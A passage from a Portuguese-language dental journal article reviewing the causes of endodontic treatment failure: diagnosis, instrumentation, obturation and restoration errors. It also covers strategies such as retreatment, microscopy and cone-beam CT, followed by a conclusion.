<p class="wp-block-paragraph">A análise dos dados foi conduzida de maneira descritiva e comparativa, considerando pontos de convergência e divergência entre os estudos. Esse processo permitiu identificar tendências gerais na literatura, bem como lacunas e controvérsias ainda presentes na área. Buscou-se apresentar uma síntese que abrangesse desde os fundamentos do diagnóstico inicial até o acompanhamento pós-operatório, destacando fatores determinantes para o sucesso ou insucesso do tratamento endodôntico.&nbsp;</p>



<p class="wp-block-paragraph">Por tratar-se de uma revisão de literatura, sem envolvimento direto de&nbsp;seres humanos ou coleta de dados clínicos, o presente estudo não exige aprovação por Comitê de Ética em Pesquisa. No entanto, todas as fontes utilizadas foram citadas de acordo com normas acadêmicas, garantindo o respeito aos princípios éticos e evitando plágio. Apesar do rigor metodológico empregado, reconhece-se que uma revisão narrativa possui limitações, como a possibilidade de viés de seleção e a ausência de análise estatística, o que impede a quantificação dos resultados. Ainda assim, a diversidade de bases consultadas, os critérios utilizados e a abrangência dos estudos selecionados contribuem para a confiabilidade e relevância das conclusões apresentadas.&nbsp;</p>



<p class="wp-block-paragraph">Assim, a metodologia adotada permitiu construir um panorama&nbsp;abrangente sobre as falhas no tratamento endodôntico, favorecendo a integração de diferentes perspectivas teóricas e clínicas, além de fundamentar a discussão sobre as estratégias que podem minimizar essas falhas e melhorar a qualidade dos tratamentos realizados.</p>



<p class="wp-block-paragraph"><strong>3. FALHAS NOS PROCEDIMENTOS DO TRATAMENTO ENDODÔNTICO&nbsp;</strong></p>



<p class="wp-block-paragraph">Além da origem microbiana, as falhas podem decorrer pela falta de&nbsp;habilidade profissional, técnica aplicada de forma inadequada, diagnóstico incorreto e a complexa anatomia do sistema de canais radiculares que pode dificultar a ação dos instrumentos e agentes químicos nos procedimentos endodônticos.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.1 Falhas no diagnóstico e planejamento do tratamento endodôntico&nbsp;</strong></p>



<p class="wp-block-paragraph">O diagnóstico dental é um componente essencial da odontologia&nbsp;moderna, a precisão no diagnóstico não apenas garante a saúde bucal do paciente, mas também aumenta as chances de sucesso no tratamento.&nbsp;</p>



<p class="wp-block-paragraph">As falhas e acidentes ocasionados durante o tratamento endodôntico podem acontecer antes mesmo do início do tratamento, durante a fase pré-operatória, quando o profissional pode cometer erros de diagnóstico. Dessa forma, através de falhas ao localizar o elemento que está originando a dor, ou mesmo através de erros durante avaliação radiográfica, pode-se, infelizmente, realizar a intervenção endodôntica na unidade dental não responsável pela dor e não no elemento causador do problema.<sup>9,10</sup>&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">O diagnóstico na endodontia é de extrema importância para garantir um&nbsp;tratamento efetivo ao paciente, além de poder evitar o surgimento de problemas jurídicos, tendo em vista que erros ao identificar a causa e origem da doença podem ocasionar falhas irremediáveis e consequências graves ao profissional, o qual devido a um erro de diagnóstico, pode condenar um dente que até então se apresentava hígido.<sup>10</sup> Para formulação efetiva de um plano de tratamento ideal, é importante que o profissional esteja preparado, e tenha conhecimento suficiente para recolher todas as informações necessárias durante a anamnese, avaliando de forma precisa a cavidade oral do paciente durante o exame físico, além de utilizar exames complementares como testes térmicos, palpação, percussão e exames radiográficos.<sup>11</sup>&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Segundo Koyess e Fares<sup>12</sup>, quando o paciente se apresenta com&nbsp;sintomatologia dolorosa, a análise clínica e radiográfica deve ser minuciosa para estabelecimento de diagnóstico correto, tendo em vista que muitas vezes o paciente pode se confundir em relação ao dente que está sendo a origem da dor, e o profissional deve estar atento quanto às evidências que indicam se o referido dente apresenta características e sinais para ser a real causa do desconforto. O profissional deve sempre adotar medidas a fim de prevenir que falhas nesta etapa venham a ocorrer, pois em casos em que há erro de diagnóstico, e portanto, o tratamento é iniciado em outro elemento dentário que até então se apresentava hígido, a situação terá se tornado irreversível, considerando que a partir do momento em que há o acesso direto ao canal radicular do elemento, o tratamento endodôntico inevitavelmente deve ser concluído.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Por ser uma condição extremamente desagradável tanto ao paciente&nbsp;quanto ao profissional, todos os cuidados devem ser tomados para garantir que o diagnóstico seja estabelecido corretamente, e assim, evitar maiores problemas com processo e envolvimento jurídico contra o profissional pelo erro cometido.<sup>9</sup> No entanto, erros de diagnóstico não se limitam apenas à escolha do elemento dental a ser tratado. A decisão pela conduta endodôntica a ser empregada no tratamento de um dente também pode ser feita de maneira equivocada. Sendo assim, deve ser empregado o máximo cuidado ao diferenciar elementos que apontem para 5 casos de caráter inflamatório ou infeccioso, pois além de condutas endodônticas apropriadas, as medicações sistêmicas e intracanais a serem utilizadas serão também distintas. Um erro no planejamento do manejo do paciente pode resultar na complicação do tratamento. O profissional deve também se atentar em relação à hipersensibilidade, e não a confundi-la com a pulpite irreversível, tratando o canal de um elemento que na realidade necessitaria de outro tipo de manejo.<sup>2&nbsp;</sup></p>



<p class="wp-block-paragraph"><strong>3.2 Falhas na instrumentação e limpeza dos canais radiculares&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">O sucesso do tratamento endodôntico depende de uma série de fatores&nbsp;técnicos, biológicos e anatômicos que, quando comprometidos, podem levar a falhas no procedimento. A instrumentação inadequada é uma das principais responsáveis pelo insucesso do tratamento endodôntico. Erros técnicos durante o preparo do canal podem resultar em sub ou sobre-instrumentação, fratura de instrumentos, formação de degraus e perfurações. A sub-instrumentação ocorre quando o comprimento de trabalho não é corretamente determinado, seja por falha na interpretação radiográfica ou uso inadequado de localizadores eletrônicos apicais. Isso pode levar a bloqueios no canal, dificultando a continuidade da instrumentação e comprometendo a limpeza e desinfecção adequadas. Por outro lado, a sobreinstrumentação, que ocorre quando se ultrapassa o comprimento de trabalho ideal, pode causar perfurações e danos ao tecido periapical, resultando em inflamação e necessidade de retratamento.<sup>13</sup>&nbsp;</p>



<p class="wp-block-paragraph">A irrigação inadequada também é uma causa comum de falhas no tratamento endodôntico. A irrigação insuficiente pode resultar em bloqueios e degraus, além de perfurações. A presença de microrganismos persistentes, como o <em>Enterococcus faecalis</em>, é frequentemente associada a falhas no tratamento endodôntico. A irrigação adequada é essencial para remover a &#8220;smear layer&#8221;, eliminar restos de tecido pulpar e microrganismos patogênicos, além de lubrificar os canais durante a instrumentação.<sup>14&nbsp;</sup></p>



<p class="wp-block-paragraph">A complexidade anatômica dos canais radiculares, com suas ramificações&nbsp;e reentrâncias, dificulta a completa limpeza e obturação. Além disso, erros durante o tratamento, como instrumentação inadequada e a formação de biofilme bacteriano, podem contribuir para a persistência da infecção. Erros durante o preparo do canal, como instrumentação inadequada, obturação incompleta ou com defeitos, além de procedimentos iatrogênicos (perfurações, fraturas de instrumentos), podem permitir a permanência de bactérias e levar à falha do tratamento.<sup>15</sup>&nbsp;</p>



<p class="wp-block-paragraph">As falhas no tratamento endodôntico podem resultar em persistência de&nbsp;inflamação e dor, necessidade de retratamento ou cirurgia endodôntica para corrigir os erros e eliminar a infecção, e comprometimento da saúde periapical, com risco de reabsorção óssea e perda dentária. A literatura científica destaca que a desinfecção insuficiente e a obturação inadequada são as principais causas de insucesso, seguidas por acidentes operatórios e ausência de selamento coronário.<sup>16</sup>&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Para evitar falhas no tratamento endodôntico, é fundamental que o&nbsp;profissional endodôntico siga um protocolo de tratamento adequado, utilizando a técnica correta, escolhendo os instrumentos apropriados, e realizando a limpeza e desinfecção adequadas dos canais. A adoção dessas estratégias contribui para o sucesso do tratamento endodôntico e a saúde bucal do paciente.<sup>17</sup>&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">As falhas endodônticas podem ocorrer em casos de persistência&nbsp;microbiana no sistema de canais radiculares. A irrigação com clorexidina e a ativação ultrassônica demonstraram eficácia na redução da carga microbiana durante o tratamento, melhorando a segurança do procedimento.<sup>18</sup> &nbsp;</p>



<p class="wp-block-paragraph">Pode ocorrer acidentes e complicações durante o tratamento endodôntico, algumas de suas principais causas é anatomia do dente que pode apresentar raiz com curvatura acentuada, avaliação incorreta da direção do canal radicular.<sup>2&nbsp;</sup></p>



<p class="wp-block-paragraph">A fratura de instrumentos endodônticos pode ocorrer durante todas as etapas do tratamento e pode envolver muitos tipos de instrumentos, como as limas endodônticas. Fraturas podem ocorrer devido à falta de experiência dos profissionais, uso excessivo ou inadequado dos instrumentos, presença de microfissuras em novos instrumentos, e canal curvo ou calcificado.<sup>19</sup> A quebra do instrumento endodôntico pode ocorrer sem apresentar sinais prévios de deformação em duas situações: fratura por torção e por fadiga cíclica. A fratura por torção acontece quando a ponta do instrumento, ou outra parte dele, fica presa às paredes do canal enquanto o eixo do instrumento continua girando. Já a fratura por fadiga cíclica ocorre quando o instrumento gira dentro de um canal curvo, gerando tensões alternadas de tração e compressão. Essas tensões repetitivas causam mudanças microestruturais acumulativas, levando à formação de trincas que se propagam até a fratura por fadiga cíclica.<sup>20&nbsp;</sup></p>



<p class="wp-block-paragraph"><strong>3.3 Falhas na Obturação dos Sistemas de Canais Radiculares (SCR)&nbsp;</strong></p>



<p class="wp-block-paragraph">O principal motivo pelo fracasso no tratamento endodôntico é o déficit na&nbsp;obturação do sistema de canais radiculares, uma vez que permitem a colonização bacteriana. Entretanto, mesmo que o canal esteja bem obturado, não significa que o tratamento teve êxito. Existem casos ainda onde os canais são obturados apenas com cimento, sem o uso de cones de guta-percha, e não conseguem o selamento apical desses elementos.<sup>21,22</sup> Ainda durante a obturação, pode ocorrer a sobreobturação, que é a passagem do material obturador além do ápice, esse erro se deve a falha durante a etapa da prova do cone. Esse erro prejudica o importante selamento da porção apical.<sup>23&nbsp;</sup></p>



<p class="wp-block-paragraph"><strong>3.4 Falhas na restauração dos dentes&nbsp;</strong></p>



<p class="wp-block-paragraph">Para Al-Amad et al.<sup>24</sup>, uma das causas das falhas em restaurações é a&nbsp;contaminação por saliva e por bactérias presentes na cavidade bucal. O isolamento absoluto é indicado para todas as restaurações, pois apresenta vantagens como: melhor acesso e visibilidade, proteção dos tecidos moles, aproveitamento do tempo de trabalho, proteção da saliva e fluidos sanguíneos e consequentemente o aumento da longevidade das restaurações.&nbsp;</p>



<p class="wp-block-paragraph">O isolamento absoluto é fundamental na hora de realizar a técnica&nbsp;adesiva, tendo em vista o controle da umidade, permitindo uma melhor adesão da resina à superfície dentária. Porém, devido a queixas de alguns pacientes em relação a utilização do isolamento absoluto, muitos profissionais acabam optando por usar o isolamento relativo.<sup>24-27</sup>&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Segundo Haruyama et al.<sup>28</sup>,<sup> </sup>o isolamento relativo não é totalmente eficaz&nbsp;quando comparados ao isolamento absoluto e enfatiza que para um bom resultado é de suma importância o seu uso, pois a umidade é um dos principais motivos das falhas em restaurações. Uma pesquisa realizada por Lawson et al.<sup>29</sup> mostram que de mil quatrocentos e noventa dentistas, 697 (47%) relataram sempre usar o isolamento absoluto. Foi relatado que o uso do isolamento absoluto varia de acordo o treinamento dos dentistas na graduação, o dente a ser restaurado e o tipo de&nbsp;paciente.28,30&nbsp;</p>



<p class="wp-block-paragraph">Conduta após insucesso do tratamento endodôntico: para determinar se o tratamento endodôntico teve sucesso ou fracasso, deve ser realizado acompanhamento, observando os aspectos clínicos e exames complementares, como radiográficos e tomográficos.<sup>31,32&nbsp;</sup></p>



<p class="wp-block-paragraph">O período de acompanhamento pós-tratamento endodôntico varia nas diversas pesquisas, de 1 ano até um período mínimo de 4 a 5 anos para determinação do sucesso; com o intuito de solucionar os casos de insucesso do tratamento supracitado, existem duas formas de tratamento comuns: o retratamento endodôntico e a cirurgia apical. Para determinar a melhor conduta e intervenção, deve ser realizada uma avaliação criteriosa.<sup>31,32&nbsp;</sup></p>



<p class="wp-block-paragraph"><strong>4. ANÁLISE DAS CAUSAS E CONSEQUÊNCIAS DAS FALHAS NOS</strong> <strong>PROCEDIMENTOS DO TRATAMENTO ENDODÔNTICO</strong></p>



<p class="wp-block-paragraph">As causas das falhas no tratamento endodôntico possuem diversas origens e podem surgir através do operador (perfurações, instrumentação inadequada, falha na localização de canais), falhas no processo de limpeza e obturação (infiltração coronária, obturação insuficiente/excessiva), e fatores biológicos (reinfecção por bactérias, anatomia complexa). As consequências incluem a persistência da infecção, o desenvolvimento de lesões perirradiculares, dor, e a necessidade de retratamento ou perda do dente.<sup>33</sup>&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.1 Erros do operador&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">a) <strong>Perfuração Iatrogênica:</strong> Criar orifícios acidentais na raiz ou no assoalho da câmara pulpar, conforme descrito em Pubmed;<sup>34</sup>&nbsp;<br>b) <strong>Falha na Localização de Canais:</strong> Não identificar e tratar todos os canais radiculares presentes no dente;<sup>35</sup>&nbsp;<br>c) <strong>Fratura de Instrumentos:</strong> Separação de instrumentos dentro do canal;<sup>36</sup>&nbsp;<br>d) <strong>Obturação Incorreta:</strong> Obturação insuficiente, excessiva ou inadequada do canal radicular.<sup>37</sup>&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.1.2 Fatores relacionados à anatomia e infecções&nbsp;</strong></p>



<p class="wp-block-paragraph">a) <strong>Anatomia Complexa:</strong>&nbsp; Presença de canais radiculares com anatomia não tratada, como canais acessórios, que podem abrigar bactérias, canais calcificados;<sup>38</sup>&nbsp;<br>b) <strong>Bactérias Persistentes:</strong>&nbsp; Microrganismos que resistem ao processo de desbridamento e irrigação, levando à reinfecção;<sup>39</sup>&nbsp;<br>c) <strong>Infiltração Coronária: </strong>Microorganismos e fluidos que conseguem penetrar o dente por falhas na restauração;<sup>40</sup>&nbsp;<br>d) <strong>Lesões Perirradiculares:</strong> Formação de lesões na região ao redor da raiz do dente, muitas vezes resultado de infecção persistente;<sup>2</sup>&nbsp;<br>e) <strong>Fatores Extrínsecos e Intrínsecos: </strong>Alguns casos podem falhar devido a fatores que não estão diretamente relacionados a microrganismos ou erros técnicos.<sup>41</sup>&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.2 Consequências das falhas&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>a) Falha na eliminação da infecção:&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">A principal consequência é a persistência ou o surgimento de novas&nbsp;infecções, o que pode levar à progressão da lesão perirradicular, a infecção não tratada pode levar ao aparecimento de uma área inflamatória ou infecciosa na região próxima à ponta da raiz.<sup>42</sup>&nbsp;</p>



<p class="wp-block-paragraph"><strong>b) Insucesso do tratamento&nbsp;</strong></p>



<p class="wp-block-paragraph">O resultado final pode ser o insucesso do tratamento, com a necessidade de um retratamento endodôntico. Em casos mais graves e não tratados, a falha pode levar à necessidade de extração do dente e perda do dente.<sup>43&nbsp;</sup></p>



<p class="wp-block-paragraph"><strong>c) Complicações adicionais&nbsp;</strong></p>



<p class="wp-block-paragraph">Em casos de extravasamento de irrigantes, pode haver dor intensa,&nbsp;inchaço e até necrose tecidual.<sup>44</sup>&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>5. ESTRATÉGIAS PARA PERMITIR A PERMANÊNCIA DOS DENTES NA&nbsp;CAVIDADE ORAL&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>5.1 Índice de sucesso do tratamento endodôntico&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">O êxito ou falha no tratamento endodôntico é determinado à longo prazo, com acompanhamento clínico e radiográfico.<sup>45</sup> Dentre os aspectos fundamentais relacionados ao sucesso do tratamento endodôntico, podem ser citados o silêncio clínico (ausência de dor, fístula e edema), ausência de rarefação óssea, tecido ósseo periapical de aspecto normal, dente em função e selamento coronário perfeito.<sup>13,46</sup>&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Para o acompanhamento radiográfico, os profissionais odontológicos&nbsp;lançam mão de radiografias periapicais. Essas tomadas radiográficas podem ser utilizadas ainda no pré-tratamento e durante o tratamento endodôntico.<sup>47</sup> Entretanto, é imprescindível que o cirurgião-dentista conheça e domine as técnicas radiográficas, solicite-as quando for necessário e que interprete os resultados de forma correta.<sup>48</sup> Quando o elemento dentário recebe um tratamento endodôntico efetivo, instrumentado, descontaminado e obturado adequadamente, as taxas de sucesso variam entre 80% a 90%.<sup>49</sup>&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Em um estudo realizado, 19 dentes foram tratados endodonticamente, dentre esses, 15 elementos tiveram êxito na terapêutica, resultando em um percentual de 78,9% de sucesso.<sup>50</sup> De acordo com outro estudo, o índice de sucesso do tratamento elucidado tem aumentado, a taxa de êxito varia de 60 a 90%, isso se deve ao aumento de odontólogos especialistas nesses tratamentos.<sup>51&nbsp;</sup></p>



<p class="wp-block-paragraph">Ademais, a evolução das técnicas, materiais e instrumentais vêm&nbsp;contribuindo para resultados positivos dessa intervenção.<sup>52</sup>&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Cuidados a fim de evitar a falha do tratamento. Para evitar o insucesso do&nbsp;tratamento endodôntico, o cirurgião-dentista deve ter embasamento teórico, dominar as técnicas e conhecer os materiais. O profissional deve fazer um planejamento individual respeitando a anatomia de cada caso, a fim de evitar iatrogênicas.<sup>50,52</sup>&nbsp; Deve-se ainda, fazer acompanhamento clínico e radiográfico do paciente.<sup>46</sup> Por isso, dominar as técnicas radiográficas, já que elas fazem parte do cotidiano do odontólogo e auxiliam em diagnóstico e proservação.<sup>50,52</sup> Referente a obturação, ela não deve ficar muito aquém ou além do forame apical.<sup>21,22</sup> O profissional deve se atentar a possíveis patologias como, reabsorções internas, externas e calcificação, uma vez que elas dificultam o êxito do tratamento.<sup>22</sup> Indubitavelmente é de extrema importância, a restauração definitiva no dente que tenha tratamento endodôntico, para que se crie um selamento efetivo.<sup>21,53,54</sup>&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Além disso, o cirurgião-dentista deve ser cuidado para seguir todos os princípios quando for realizar desobturação e posterior cimentação de pinos intrarradiculares.<sup>21,46,54</sup>&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Para determinar se o tratamento endodôntico teve sucesso ou fracasso, deve ser realizado acompanhamento, observando os aspectos clínicos e exames complementares, como radiográficos e tomográficos.<sup>31,32</sup> O período de acompanhamento pós-tratamento endodôntico varia nas diversas pesquisas, de 1 ano até um período mínimo de 4 a 5 anos para determinação do sucesso.<sup>53</sup> Com o intuito de solucionar os casos de insucesso do tratamento supracitado, existem duas formas de tratamento comuns: o retratamento endodôntico e a cirurgia apical.&nbsp;</p>



<p class="wp-block-paragraph">Para determinar a melhor conduta e intervenção, deve ser realizada uma&nbsp;avaliação criteriosa.<sup>31,32</sup> O retratamento endodôntico é geralmente a intervenção de primeira escolha por ser um tratamento menos invasivo. O objetivo dessa terapêutica é reverter fracassos originados de terapias anteriores e promover a obturação completa de todos os canais existentes no elemento 15 dentário. O novo tratamento endodôntico consiste em remover o material obturador, cones de gutapercha e cimentos obturadores, visando a antissepsia dos canais para nova obturação completa e compacta dos sistemas de canais radiculares.<sup>22,32,46,55&nbsp;</sup></p>



<p class="wp-block-paragraph">Durante a reinstrumentação, o cirurgião-dentista pode usar solventes, pois contribuem com a penetração dos instrumentos. Se tratando de solventes, atualmente existe uma diversidade de produtos que podem ser utilizados, como eucaliptol, laranja, halotano e Hemo-De. Não obstante, alguns solventes são tóxicos e podem ainda ser carcinogênicos, como clorofórmio e xilol.<sup>55,56</sup>&nbsp;</p>



<p class="wp-block-paragraph"><strong>5.2 Importância do diagnóstico correto&nbsp;</strong></p>



<p class="wp-block-paragraph">A importância do diagnóstico em endodontia<strong> </strong>não pode ser subestimada. Um bom diagnóstico é o primeiro passo para um tratamento eficaz. Quando um paciente visita o dentista com dor, a identificação precisa da causa é essencial. Sem um diagnóstico correto, o tratamento pode falhar.&nbsp;</p>



<p class="wp-block-paragraph">O diagnóstico ajuda a determinar se a dor vem de problemas com os&nbsp;nervos, como uma pulpite, ou de um abcesso. Cada condição requer um tratamento diferente. Por isso, é fundamental saber exatamente o que está acontecendo. Além disso, um diagnóstico preciso auxilia na prevenção de complicações futuras. Ao tratar o problema na fase inicial, é possível evitar intervenções mais complexas. Isso pode resultar em menos dor e uma recuperação mais rápida para o paciente. Um bom diagnóstico em endodontia também fortalece a relação entre dentista e paciente. Quando o dentista explica claramente o que está acontecendo, o paciente se sente mais seguro e confiante no tratamento. Assim, a comunicação é a chave para o sucesso. Por tudo isso, investir no diagnóstico correto é investir na saúde bucal do paciente. Esse é um compromisso que todo profissional deve ter.<sup>13&nbsp;</sup></p>



<p class="wp-block-paragraph"><strong>5.3 Uso de novas tecnologias&nbsp;</strong></p>



<p class="wp-block-paragraph">Nos últimos anos, a odontologia passou por uma verdadeira revolução, impulsionada por inovações tecnológicas que aprimoram os tratamentos e a experiência do paciente. Um dos campos que mais se beneficia dessa transformação é a Endodontia, especialmente no que se refere ao tratamento de canal. Neste artigo, vamos explorar como as novas tecnologias estão moldando a Endodontia Avançada e o que os dentistas e pacientes podem esperar nas próximas etapas desse campo em constante evolução. O tratamento de canal, um procedimento tradicionalmente temido, está se tornando mais eficaz, rápido e menos doloroso. A combinação de tecnologias digitais, impressões 3D e equipamentos modernos está tornando os procedimentos menos invasivos e mais precisos. Ao longo deste artigo, discutiremos as inovações que estão salvando dentes e mudando a percepção pública sobre os tratamentos endodônticos. Você vai descobrir quais são as principais tecnologias em uso, como elas funcionam e quais são os benefícios concretos que oferecem tanto para os dentistas quanto para os pacientes. Além disso, vamos trancar um olhar para o futuro da Endodontia em 2025 e como essas novas abordagens estão moldando o cenário da odontologia.<sup>48&nbsp;</sup></p>



<p class="wp-block-paragraph"><strong>5.3.1 Visualização ampliada e diagnóstico de alta precisão&nbsp;</strong></p>



<p class="wp-block-paragraph">Microscopia Odontológica na Endodontia<a href="https://pt.wikipedia.org/wiki/Microsc%C3%B3pio_%C3%B3ptico"> </a>é essencial quando se busca um nível máximo de controle em procedimentos de alta precisão. Para garantir excelência em cada etapa do tratamento, a endodontia de alta precisão exige atenção absoluta aos mínimos detalhes clínicos. Com o suporte da tecnologia de aumento, proporcionado pelo microscópio odontológico, o profissional consegue detectar com muito mais clareza canais acessórios, microfraturas e alterações anatômicas sutis — que, em métodos convencionais, poderiam facilmente passar despercebidas. Como resultado, essa visualização significativamente aprimorada não só melhora a qualidade geral do atendimento, como também reduz consideravelmente os riscos de falhas, retratamentos e complicações futuras. Dessa forma, o procedimento se torna mais previsível, seguro e alinhado aos padrões mais elevados da odontologia moderna.<sup>57&nbsp;</sup></p>



<p class="wp-block-paragraph">Quando se busca um resultado realmente eficaz e duradouro, associar o&nbsp;tratamento endodôntico à essa tecnologia torna-se não apenas recomendável, mas essencial para elevar significativamente a precisão em cada etapa do procedimento. Além disso, essa combinação proporciona uma reabilitação muito mais segura e previsível, sobretudo em casos considerados complexos ou com anatomia dentária desafiadora. Nesses cenários específicos, a precisão obtida com o uso do microscópio odontológico torna-se determinante para o sucesso da intervenção.<sup>57</sup>&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Dessa maneira, o tratamento ganha mais controle, qualidade técnica e,&nbsp;principalmente, a confiança necessária por parte do paciente. Além dos benefícios já citados, a Microscopia Odontológica na Endodontia também favorece, de maneira significativa, uma abordagem minimamente invasiva, alinhada aos princípios da odontologia moderna e conservadora. Graças à visualização altamente ampliada e detalhada, o profissional consegue atuar com muito mais exatidão, o que significa que, em vez de remover tecidos saudáveis desnecessariamente, ele consegue intervir apenas nas áreas realmente comprometidas. Com isso, há uma preservação maior da estrutura dentária original, o que, por sua vez, contribui diretamente para a longevidade do dente tratado. Além disso, essa conservação natural resulta não apenas em tratamentos mais duradouros, mas também em um resultado final mais estético e harmônico. Portanto, ao adotar a microscopia no planejamento endodôntico, eleva-se não só a precisão clínica, mas também a qualidade da experiência do paciente.<sup>58</sup>&nbsp;</p>



<p class="wp-block-paragraph"><strong>5.3.2&nbsp; Tomografias Computadorizada/ Tomografia Computadorizada de Feixe Cônico (TCFC)&nbsp;</strong></p>



<p class="wp-block-paragraph">A tomografia computadorizada e tomografia de feixe cônico (TCFC) são ferramentas cruciais na endodontia, proporcionando imagens tridimensionais que aprimoram diagnósticos e tratamentos, especialmente em casos complexos. Ela facilita a identificação de canais radiculares e o planejamento cirúrgico, assegurando precisão e eficácia, enquanto seu uso criterioso minimiza os riscos associados à radiação, complementando as radiografias tradicionais e otimizando a prática odontológica.<sup>59</sup>&nbsp;</p>



<p class="wp-block-paragraph">A tomografia computadorizada tem se tornado uma ferramenta indispensável na endodontia e representa um avanço significativo devido sua capacidade de oferecer imagens detalhadas permitindo diagnósticos mais precisos e tratamentos mais eficazes. Com a introdução da tomografia de feixe cônico (TCFC), os cirurgiões dentistas agora podem acessar imagens tridimensionais que revelam a complexidade da anatomia dental de uma forma que as radiografias tradicionais não conseguem. Antes da TCFC, a radiografia periapical era a escolha padrão, oferecendo apenas uma visão bidimensional que muitas vezes deixava de capturar nuances críticos, levando a possíveis erros de diagnóstico, com a TCFC supera essa limitação, proporcionando uma visão completa das estruturas internas do dente e suas relações com os tecidos circundantes com a TCFC, é possível identificar lesões periapicais que não são visíveis em radiografias convencionais, avaliar com precisão a morfologia do canal radicular e detectar fraturas ou reabsorções que poderiam passar despercebidas.<sup>60</sup>&nbsp;</p>



<p class="wp-block-paragraph"><strong>5.3.3 Treinamento e educação continuada para profissionais de odontologia&nbsp;</strong></p>



<p class="wp-block-paragraph">A educação continuada é um dos pilares para o desenvolvimento&nbsp;profissional em qualquer área, mas na odontologia ela se torna ainda mais crucial. Isso porque a tecnologia está em constante avanço<strong>:</strong> Novos equipamentos, técnicas e materiais exigem atualização constante para oferecer tratamentos modernos e eficazes.<sup>61</sup>&nbsp;</p>



<p class="wp-block-paragraph">Os benefícios da Educação Continuada na Odontologia fazem com que os profissionais que buscam capacitação consigam oferecer tratamentos mais eficazes, alcançar melhores resultados clínicos e ampliar suas possibilidades de atuação.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Em relação à concorrência, o mercado odontológico é altamente competitivo. Ter especializações odontológicas pode ser o diferencial para se destacar e atrair mais pacientes.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>5.4&nbsp; Melhoria na comunicação entre os profissionais de odontologia e os&nbsp;pacientes&nbsp;</strong></p>



<p class="wp-block-paragraph">A comunicação clara com o paciente odontológico é fundamental para&nbsp;criar uma relação de confiança e segurança. Técnicas como escuta ativa, uso de tecnologia e feedback ajudam a otimizar essa interação, enquanto um ambiente acolhedor acrescentando conforto ao paciente, tornando a experiência mais positiva e humanizada.<sup>62</sup>&nbsp;</p>



<p class="wp-block-paragraph"><strong>5.5 Restauração definitiva&nbsp;</strong></p>



<p class="wp-block-paragraph">Segundo Ribeiro<sup>63</sup>, em seu estudo que visa a importância da restauração&nbsp;definitiva após o tratamento endodôntico, para a obtenção do sucesso na terapia endodôntica é de extrema importância a limpeza, a desinfecção e obturação do canal radicular, do mesmo modo o selamento hermético do elemento dentário através da restauração coronária definitiva. Objetivando impedir que ocorra contaminação das estruturas do periápice através de microinfiltração, devido à passagem de fluídos da cavidade oral para o interior do dente, é o mais indicado de forma prudente, restaurar o remanescente dentário com um material restaurador permanente após a finalização do tratamento endodôntico. Os materiais restauradores permanentes normalmente utilizados na dentística restauradora são: amálgama de prata, resina composta e cimento de ionômero de vidro.&nbsp;</p>



<p class="wp-block-paragraph"><strong>6. CONCLUSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">Ao longo deste estudo, ficou evidente que a <strong>Insucesso em tratamentos endodônticos: </strong>causas, desafios e perspectivas de solução, desempenha um papel fundamental na Odontologia. A análise realizada permitiu compreender não apenas os aspectos teóricos que sustentam o tema, mas também a aplicação prática das abordagens discutidas, evidenciando suas contribuições e limitações. Observou-se durante a pesquisa que pode ocorrer diferentes falhas no tratamento endodônticos porém, encontramos estudos já realizados que nos dão embasamentos para que seja realizado um diagnóstico correto com o uso de novas tecnologias que nos permite uma visualização ampliada, entre estas a tomografia computadorizada de feixe Cônico que é uma ferramenta indispensável e crucial na endodontia o que reforça ainda, que o profissional esteja sempre se adequando as novas mudanças para que o tratamento seja um sucesso.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Além disso, os resultados obtidos destacam que é possível realizar o tratamento endodôntico com sucesso desde que haja um acompanhamento entre o paciente e o profissional, mostrando que essa constatação corrobora com estudos anteriores e ao mesmo tempo em que traz novas perspectivas, especialmente no que se refere a tratamentos endodônticos. Tal abordagem permite não apenas um aprofundamento do conhecimento sobre <strong>Insucesso em tratamentos endodônticos: </strong>causas, desafios e perspectivas de solução, mas também abre caminho para futuras pesquisas, estimulando questionamentos sobre novas perspectivas e soluções.&nbsp;</p>



<p class="wp-block-paragraph">Por fim, os resultados obtidos reforçam a relevância do tema e destacam a necessidade de continuidade das pesquisas. Aprofundar-se em conceitos já consolidados, novas técnicas e tecnologias que permitirá um entendimento ainda mais detalhado, possibilitando o desenvolvimento de estratégias mais eficazes e fundamentadas. Assim, este artigo não apenas consolida conhecimentos já existentes, mas também impulsiona o avanço da área, propondo caminhos para novas investigações e práticas mais embasadas, contribuindo para o desenvolvimento acadêmico e social relacionado a Endodontia.&nbsp;</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS&nbsp;</strong></p>



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<p class="has-text-align-right wp-block-paragraph"></p>
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			</item>
		<item>
		<title>REABILITAÇÃO TOTAL EM PACIENTE COM NECESSIDADE DE AUMENTO DE DIMENSÃO VERTICAL: ABORDAGENS PROTÉTICAS E RESULTADO – RELATO DE CASO CLÍNICO</title>
		<link>https://revistaft.com.br/reabilitacao-total-em-paciente-com-necessidade-de-aumento-de-dimensao-vertical-abordagens-proteticas-e-resultado-relato-de-caso-clinico/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Tue, 16 Dec 2025 13:28:40 +0000</pubDate>
